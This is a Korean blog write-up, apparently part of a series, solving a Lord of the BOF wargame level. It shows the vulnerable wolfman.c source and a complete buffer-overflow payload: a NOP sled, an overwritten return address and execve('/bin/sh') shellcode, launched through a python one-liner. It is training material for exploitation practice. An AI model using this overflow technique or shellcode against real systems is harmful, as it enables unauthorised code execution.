Pwnable/LOB

[LOB] orc 문제 풀이!!!!

RootJJang 2022. 5. 13. 12:47
SMALL

检查源代码!

 

[orc@localhost orc]$ cat wolfman.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - wolfman
        - egghunter + buffer hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

저번 문제 코드와 비슷하지만 마지막에 buffer hunter라는 게 새로 생겼네요

 

buffer의 값을 초기화해서 buffer에 쉘코드를 넣는 방법을 이제 불가능할 것 같습니다

 

그렇다면 저번 문제에 사용한 뒷공간의 주소를 이용해서 푸는 방법을 이용해 보겠습니다

 

https://qpalzm1029.tistory.com/37

 

[LOB] goblin 문제 풀이!!!!

소스코드 화긴 /* The Lord of the BOF : The Fellowship of the BOF - orc - egghunter */ #include #include extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ p..

qpalzm1029.tistory.com

정확한 풀이는 위 블로그에 나와있습니다

 

RET을 덮어줄 주소를 대충 0xbffffc34로 잡아주죠

 

이제 페이로드를 짜봅시다

 

Payload = dummy[44] + 0xbffffc34 + dummy[100] + 쉘코드

 

 최종 페이로드 = ./wolfman `python -c 'print "\x90"*44 + "\x34\xfc\xff\xbf" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

 

 

LIST

'Pwnable > LOB' 카테고리의 다른 글

[LOB] darkelf 문제 풀이!!!!!  (0) 2022.05.13
[LOB] wolfman 문제 풀이!!!!  (0) 2022.05.13
[LOB] goblin 문제 풀이!!!!  (0) 2022.05.12
[LOB] cobolt 문제 풀이!  (2) 2022.05.12
[LOB] gremlin 문제 풀이!  (1) 2022.05.12